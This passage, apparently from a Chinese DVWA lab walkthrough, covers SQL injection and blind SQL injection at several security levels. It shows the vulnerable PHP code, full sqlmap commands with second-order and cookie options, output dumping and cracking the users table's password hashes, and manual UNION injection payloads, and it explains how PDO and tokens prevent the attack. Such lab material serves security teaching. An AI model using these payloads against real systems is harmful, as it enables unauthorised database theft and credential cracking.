[23:56:16] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
[23:56:16] [INFO] resuming password 'admin' for hash '21232f297a57a5a743894a0e4a801fc3'
[23:56:16] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
Database: dvwa
Table: users
[5 entries]
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| user_id | avatar                                           | user    | password                                    | last_name | first_name | last_login          | failed_login |
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| 1       | http://127.0.0.1/dvwa/hackable/users/admin.jpg   | admin   | 21232f297a57a5a743894a0e4a801fc3 (admin)    | admin     | admin      | 2018-03-13 10:53:08 | 0            |
| 2       | http://127.0.0.1/dvwa/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     | 2018-03-08 22:33:32 | 0            |
| 3       | http://127.0.0.1/dvwa/hackable/users/1337.jpg    | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       | 2018-03-08 22:33:32 | 0            |
| 4       | http://127.0.0.1/dvwa/hackable/users/pablo.jpg   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      | 2018-03-08 22:33:32 | 0            |
| 5       | http://127.0.0.1/dvwa/hackable/users/smithy.jpg  | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        | 2018-03-08 22:33:32 | 0            |
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+

[23:56:16] [INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.0.115/dump/dvwa/users.csv'
[23:56:16] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.0.115'

[*] shutting down at 23:56:16

8.3 High

代码:

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; #限制输出的行数只能是一行
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?> 

1.字符型注入,添加了limit 1 来限制输出的行数只能是一行,但是可以利用注释符-- -limit 1给注释掉;
2.而且利用另外一个页面来提交表单,提交页面和结果显示页面分开是为了防止一般的sqlmap注入,sqlmap注入不能在当前页面得到反馈信息,就无法进行注入,所以要采用二阶sql注入: –second-order=URL 返回结果的url,这样就可以;
sqlmap注入:

root@kali:~# sqlmap -u http://192.168.0.115/dvwa/vulnerabilities/sqli/session-input.php# --second-order=http://192.168.0.115/dvwa/vulnerabilities/sqli/ --data='id=1&Submit=Submit' --cookie='security=high; PHPSESSID=as94j6ostr2dnu3utbaeo264j7' --dbs --current-user
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.1.11#stable}
|_ -| . [']     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 23:46:46

[23:46:46] [INFO] resuming back-end DBMS 'mysql' 
[23:46:46] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1' AND SLEEP(5) AND 'RtUm'='RtUm&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x7176627671,0x794a667358656d56664b754f4c50734c6d47766d44636d5269505841706d756a6f6a427473784970,0x717a6b6b71),NULL-- Siup&Submit=Submit
---
[23:46:46] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.9, PHP 5.5.12
back-end DBMS: MySQL >= 5.0.12
[23:46:46] [INFO] fetching current user
current user:    'root@localhost'
[23:46:46] [INFO] fetching database names
available databases [7]:
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] sakila
[*] sys
[*] world

[23:46:46] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.0.115'

[*] shutting down at 23:46:46

root@kali:~# sqlmap -u http://192.168.0.115/dvwa/vulnerabilities/sqli/session-input.php# --second-order=http://192.168.0.115/dvwa/vulnerabilities/sqli/ --data='id=1&Submit=Submit' --cookie='security=high; PHPSESSID=as94j6ostr2dnu3utbaeo264j7' -D dvwa -T users  --dump
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.1.11#stable}
|_ -| . [']     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 23:53:29

[23:53:29] [INFO] resuming back-end DBMS 'mysql' 
[23:53:29] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1' AND SLEEP(5) AND 'RtUm'='RtUm&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x7176627671,0x794a667358656d56664b754f4c50734c6d47766d44636d5269505841706d756a6f6a427473784970,0x717a6b6b71),NULL-- Siup&Submit=Submit
---
[23:53:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.9, PHP 5.5.12
back-end DBMS: MySQL >= 5.0.12
[23:53:29] [INFO] fetching columns for table 'users' in database 'dvwa'
[23:53:29] [INFO] fetching entries for table 'users' in database 'dvwa'
[23:53:29] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 
do you want to crack them via a dictionary-based attack? [Y/n/q] 
[23:53:30] [INFO] using hash method 'md5_generic_passwd'
[23:53:30] [INFO] resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
[23:53:30] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[23:53:30] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
[23:53:30] [INFO] resuming password 'admin' for hash '21232f297a57a5a743894a0e4a801fc3'
[23:53:30] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
Database: dvwa
Table: users
[5 entries]
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| user_id | avatar                                           | user    | password                                    | last_name | first_name | last_login          | failed_login |
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| 1       | http://127.0.0.1/dvwa/hackable/users/admin.jpg   | admin   | 21232f297a57a5a743894a0e4a801fc3 (admin)    | admin     | admin      | 2018-03-13 10:53:08 | 0            |
| 2       | http://127.0.0.1/dvwa/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     | 2018-03-08 22:33:32 | 0            |
| 3       | http://127.0.0.1/dvwa/hackable/users/1337.jpg    | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       | 2018-03-08 22:33:32 | 0            |
| 4       | http://127.0.0.1/dvwa/hackable/users/pablo.jpg   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      | 2018-03-08 22:33:32 | 0            |
| 5       | http://127.0.0.1/dvwa/hackable/users/smithy.jpg  | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        | 2018-03-08 22:33:32 | 0            |
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+

[23:53:30] [INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.0.115/dump/dvwa/users.csv'
[23:53:30] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.0.115'

[*] shutting down at 23:53:30


手工注入:

1' and 1=1 -- - 
1' and 1=2 -- -
1' order by 2 -- -
1' union select 1,2 -- - 
1' union select database(),2 -- - 
1' union select table_name,2 from information_schema.tables where table_schema=database() -- - 
1' union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='users' -- -
1' union select concat_ws(0x7c,user_id,user,password),2 from users -- -

8.4 Impossible

代码:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

1.加入了token验证,防止csrf攻击;
2.PDO技术,防止sql注入;
3.当返回的查询数据为1时才能成功输出,防止拖库。

9. SQL Injection (Blind)

sql盲注指的是sql语句执行之后,在数据库中查询的数据不能显示到页面中。而一般注入可以在页面中看到sql语句执行之后的内容。

9.1 Low

代码:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

GET方法提交。
sqlmap注入:

root@kali:~# sqlmap -u "http://192.168.0.115/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=as94j6ostr2dnu3utbaeo264j7' -D dvwa -T users --dump
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.1.11#stable}
|_ -| . [,]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 00:30:41

[00:30:41] [INFO] resuming back-end DBMS 'mysql' 
[00:30:41] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 8728=8728 AND 'fPGD'='fPGD&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1' OR (SELECT 1065 FROM(SELECT COUNT(*),CONCAT(0x7162707171,(SELECT (ELT(1065=1065,1))),0x7170767671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'pKHC'='pKHC&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1' AND SLEEP(5) AND 'gHyN'='gHyN&Submit=Submit
---
[00:30:41] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.9, PHP 5.5.12
back-end DBMS: MySQL >= 5.0
[00:30:41] [INFO] fetching columns for table 'users' in database 'dvwa'
[00:30:41] [INFO] the SQL query used returns 8 entries
[00:30:41] [INFO] resumed: user_id
[00:30:41] [INFO] resumed: int(6)
[00:30:41] [INFO] resumed: first_name
[00:30:41] [INFO] resumed: varchar(15)
[00:30:41] [INFO] resumed: last_name
[00:30:41] [INFO] resumed: varchar(15)
[00:30:41] [INFO] resumed: user
[00:30:41] [INFO] resumed: varchar(15)
[00:30:41] [INFO] resumed: password
[00:30:41] [INFO] resumed: varchar(32)
[00:30:41] [INFO] resumed: avatar
[00:30:41] [INFO] resumed: varchar(70)
[00:30:41] [INFO] resumed: last_login
[00:30:41] [INFO] resumed: timestamp
[00:30:41] [INFO] resumed: failed_login
[00:30:41] [INFO] resumed: int(3)
[00:30:41] [INFO] fetching entries for table 'users' in database 'dvwa'
[00:30:41] [INFO] the SQL query used returns 5 entries
[00:30:41] [INFO] resumed: admin
[00:30:41] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/admin.jpg
[00:30:41] [INFO] resumed: 0
[00:30:41] [INFO] resumed: admin
[00:30:41] [INFO] resumed: 2018-03-13 10:53:08
[00:30:41] [INFO] resumed: admin
[00:30:41] [INFO] resumed: 21232f297a57a5a743894a0e4a801fc3
[00:30:41] [INFO] resumed: 1
[00:30:41] [INFO] resumed: gordonb
[00:30:41] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/gordonb.jpg
[00:30:41] [INFO] resumed: 0
[00:30:41] [INFO] resumed: Gordon
[00:30:41] [INFO] resumed: 2018-03-08 22:33:32
[00:30:41] [INFO] resumed: Brown
[00:30:41] [INFO] resumed: e99a18c428cb38d5f260853678922e03
[00:30:41] [INFO] resumed: 2
[00:30:41] [INFO] resumed: 1337
[00:30:41] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/1337.jpg
[00:30:41] [INFO] resumed: 0
[00:30:41] [INFO] resumed: Hack
[00:30:41] [INFO] resumed: 2018-03-08 22:33:32
[00:30:41] [INFO] resumed: Me
[00:30:41] [INFO] resumed: 8d3533d75ae2c3966d7e0d4fcc69216b
[00:30:41] [INFO] resumed: 3
[00:30:41] [INFO] resumed: pablo
[00:30:41] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/pablo.jpg
[00:30:41] [INFO] resumed: 0
[00:30:41] [INFO] resumed: Pablo
[00:30:41] [INFO] resumed: 2018-03-08 22:33:32
[00:30:41] [INFO] resumed: Picasso
[00:30:41] [INFO] resumed: 0d107d09f5bbe40cade3de5c71e9e9b7
[00:30:41] [INFO] resumed: 4
[00:30:41] [INFO] resumed: smithy
[00:30:41] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/smithy.jpg
[00:30:41] [INFO] resumed: 0
[00:30:41] [INFO] resumed: Bob
[00:30:41] [INFO] resumed: 2018-03-08 22:33:32
[00:30:41] [INFO] resumed: Smith
[00:30:41] [INFO] resumed: 5f4dcc3b5aa765d61d8327deb882cf99
[00:30:41] [INFO] resumed: 5
[00:30:41] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 
do you want to crack them via a dictionary-based attack? [Y/n/q] 
[00:30:42] [INFO] using hash method 'md5_generic_passwd'
[00:30:42] [INFO] resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
[00:30:42] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[00:30:42] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
[00:30:42] [INFO] resuming password 'admin' for hash '21232f297a57a5a743894a0e4a801fc3'
[00:30:42] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
Database: dvwa
Table: users
[5 entries]
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| user_id | avatar                                           | user    | password                                    | last_name | first_name | last_login          | failed_login |
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| 1       | http://127.0.0.1/dvwa/hackable/users/admin.jpg   | admin   | 21232f297a57a5a743894a0e4a801fc3 (admin)    | admin     | admin      | 2018-03-13 10:53:08 | 0            |
| 2       | http://127.0.0.1/dvwa/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     | 2018-03-08 22:33:32 | 0            |
| 3       | http://127.0.0.1/dvwa/hackable/users/1337.jpg    | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       | 2018-03-08 22:33:32 | 0            |
| 4       | http://127.0.0.1/dvwa/hackable/users/pablo.jpg   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      | 2018-03-08 22:33:32 | 0            |
| 5       | http://127.0.0.1/dvwa/hackable/users/smithy.jpg  | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        | 2018-03-08 22:33:32 | 0            |
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+

[00:30:42] [INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.0.115/dump/dvwa/users.csv'
[00:30:42] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.0.115'

[*] shutting down at 00:30:42

9.2 Medium

代码:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?> 

POST方法提交表单。
sqlmap注入:

root@kali:~# sqlmap -u "http://192.168.0.115/dvwa/vulnerabilities/sqli_blind/#" --cookie="security=medium; PHPSESSID=as94j6ostr2dnu3utbaeo264j7" --data="id=1&Submit=Submit" -D dvwa -T users --dump
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.1.11#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 00:41:00

[00:41:01] [INFO] resuming back-end DBMS 'mysql' 
[00:41:01] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 9986=9986&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
    Payload: id=(SELECT 5655 FROM(SELECT COUNT(*),CONCAT(0x7162707171,(SELECT (ELT(5655=5655,1))),0x7170767671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&Submit=Submit
---
[00:41:01] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.9, PHP 5.5.12
back-end DBMS: MySQL >= 5.0
[00:41:01] [INFO] fetching columns for table 'users' in database 'dvwa'
[00:41:01] [INFO] the SQL query used returns 8 entries
[00:41:01] [INFO] resumed: user_id
[00:41:01] [INFO] resumed: int(6)
[00:41:01] [INFO] resumed: first_name
[00:41:01] [INFO] resumed: varchar(15)
[00:41:01] [INFO] resumed: last_name
[00:41:01] [INFO] resumed: varchar(15)
[00:41:01] [INFO] resumed: user
[00:41:01] [INFO] resumed: varchar(15)
[00:41:01] [INFO] resumed: password
[00:41:01] [INFO] resumed: varchar(32)
[00:41:01] [INFO] resumed: avatar
[00:41:01] [INFO] resumed: varchar(70)
[00:41:01] [INFO] resumed: last_login
[00:41:01] [INFO] resumed: timestamp
[00:41:01] [INFO] resumed: failed_login
[00:41:01] [INFO] resumed: int(3)
[00:41:01] [INFO] fetching entries for table 'users' in database 'dvwa'
[00:41:01] [INFO] the SQL query used returns 5 entries
[00:41:01] [INFO] resumed: admin
[00:41:01] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/admin.jpg
[00:41:01] [INFO] resumed: 0
[00:41:01] [INFO] resumed: admin
[00:41:01] [INFO] resumed: 2018-03-13 10:53:08
[00:41:01] [INFO] resumed: admin
[00:41:01] [INFO] resumed: 21232f297a57a5a743894a0e4a801fc3
[00:41:01] [INFO] resumed: 1
[00:41:01] [INFO] resumed: gordonb
[00:41:01] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/gordonb.jpg
[00:41:01] [INFO] resumed: 0
[00:41:01] [INFO] resumed: Gordon
[00:41:01] [INFO] resumed: 2018-03-08 22:33:32
[00:41:01] [INFO] resumed: Brown
[00:41:01] [INFO] resumed: e99a18c428cb38d5f260853678922e03
[00:41:01] [INFO] resumed: 2
[00:41:01] [INFO] resumed: 1337
[00:41:01] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/1337.jpg
[00:41:01] [INFO] resumed: 0
[00:41:01] [INFO] resumed: Hack
[00:41:01] [INFO] resumed: 2018-03-08 22:33:32
[00:41:01] [INFO] resumed: Me
[00:41:01] [INFO] resumed: 8d3533d75ae2c3966d7e0d4fcc69216b
[00:41:01] [INFO] resumed: 3
[00:41:01] [INFO] resumed: pablo
[00:41:01] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/pablo.jpg
[00:41:01] [INFO] resumed: 0
[00:41:01] [INFO] resumed: Pablo
[00:41:01] [INFO] resumed: 2018-03-08 22:33:32
[00:41:01] [INFO] resumed: Picasso
[00:41:01] [INFO] resumed: 0d107d09f5bbe40cade3de5c71e9e9b7
[00:41:01] [INFO] resumed: 4
[00:41:01] [INFO] resumed: smithy
[00:41:01] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/smithy.jpg
[00:41:01] [INFO] resumed: 0
[00:41:01] [INFO] resumed: Bob
[00:41:01] [INFO] resumed: 2018-03-08 22:33:32
[00:41:01] [INFO] resumed: Smith
[00:41:01] [INFO] resumed: 5f4dcc3b5aa765d61d8327deb882cf99
[00:41:01] [INFO] resumed: 5
[00:41:01] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 
do you want to crack them via a dictionary-based attack? [Y/n/q] 
[00:41:03] [INFO] using hash method 'md5_generic_passwd'
[00:41:03] [INFO] resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
[00:41:03] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[00:41:03] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
[00:41:03] [INFO] resuming password 'admin' for hash '21232f297a57a5a743894a0e4a801fc3'
[00:41:03] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
Database: dvwa
Table: users
[5 entries]
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| user_id | avatar                                           | user    | password                                    | last_name | first_name | last_login          | failed_login |
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| 1       | http://127.0.0.1/dvwa/hackable/users/admin.jpg   | admin   | 21232f297a57a5a743894a0e4a801fc3 (admin)    | admin     | admin      | 2018-03-13 10:53:08 | 0            |
| 2       | http://127.0.0.1/dvwa/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     | 2018-03-08 22:33:32 | 0            |
| 3       | http://127.0.0.1/dvwa/hackable/users/1337.jpg    | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       | 2018-03-08 22:33:32 | 0            |
| 4       | http://127.0.0.1/dvwa/hackable/users/pablo.jpg   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      | 2018-03-08 22:33:32 | 0            |
| 5       | http://127.0.0.1/dvwa/hackable/users/smithy.jpg  | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        | 2018-03-08 22:33:32 | 0            |
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+

[00:41:03] [INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.0.115/dump/dvwa/users.csv'
[00:41:03] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.0.115'

[*] shutting down at 00:41:03

9.3 High

代码:

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

提交和显示结果页面分离,而且注入参数id在cookie中。设置sqlmap的--level 2sqlmap会尝试注入Cookie参数:

root@kali:~# sqlmap -u "http://192.168.0.115/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --cookie="id=f; security=high; PHPSESSID=as94j6ostr2dnu3utbaeo264j7" --second-order="http://192.168.0.115/dvwa/vulnerabilities/sqli_blind/" -D dvwa -T users --dump --level 2
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.1.11#stable}
|_ -| . [']     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 21:55:57

[21:55:57] [INFO] resuming back-end DBMS 'mysql' 
[21:55:57] [INFO] testing connection to the target URL
[21:55:58] [WARNING] the web server responded with an HTTP error code (404) which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (Cookie)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 RLIKE time-based blind
    Payload: id=f' RLIKE SLEEP(5) AND 'ZjQC'='ZjQC; security=high; PHPSESSID=as94j6ostr2dnu3utbaeo264j7
---
[21:55:58] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.9, PHP 5.5.12
back-end DBMS: MySQL >= 5.0.12
[21:55:58] [INFO] fetching columns for table 'users' in database 'dvwa'
[21:55:58] [INFO] resumed: 8
[21:55:58] [INFO] resumed: user_id
[21:55:58] [INFO] resumed: first_name
[21:55:58] [INFO] resumed: last_name
[21:55:58] [INFO] resumed: user
[21:55:58] [INFO] resumed: password
[21:55:58] [INFO] resumed: avatar
[21:55:58] [INFO] resumed: last_login
[21:55:58] [INFO] resumed: failed_login
[21:55:58] [INFO] fetching entries for table 'users' in database 'dvwa'
[21:55:58] [INFO] fetching number of entries for table 'users' in database 'dvwa'
[21:55:58] [INFO] resumed: 5
[21:55:58] [INFO] resumed: 1337
[21:55:58] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/1337.jpg
[21:55:58] [INFO] resumed: 0
[21:55:58] [INFO] resumed: Hack
[21:55:58] [INFO] resumed: 2018-03-08 22:33:32
[21:55:58] [INFO] resumed: Me
[21:55:58] [INFO] resumed: 8d3533d75ae2c3966d7e0d4fcc69216b
[21:55:58] [INFO] resumed: 3
[21:55:58] [INFO] resumed: admin
[21:55:58] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/admin.jpg
[21:55:58] [INFO] resumed: 0
[21:55:58] [INFO] resumed: admin
[21:55:58] [INFO] resumed: 2018-03-13 10:53:08
[21:55:58] [INFO] resumed: admin
[21:55:58] [INFO] resumed: 21232f297a57a5a743894a0e4a801fc3
[21:55:58] [INFO] resumed: 1
[21:55:58] [INFO] resumed: gordonb
[21:55:58] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/gordonb.jpg
[21:55:58] [INFO] resumed: 0
[21:55:58] [INFO] resumed: Gordon
[21:55:58] [INFO] resumed: 2018-03-08 22:33:32
[21:55:58] [INFO] resumed: Brown
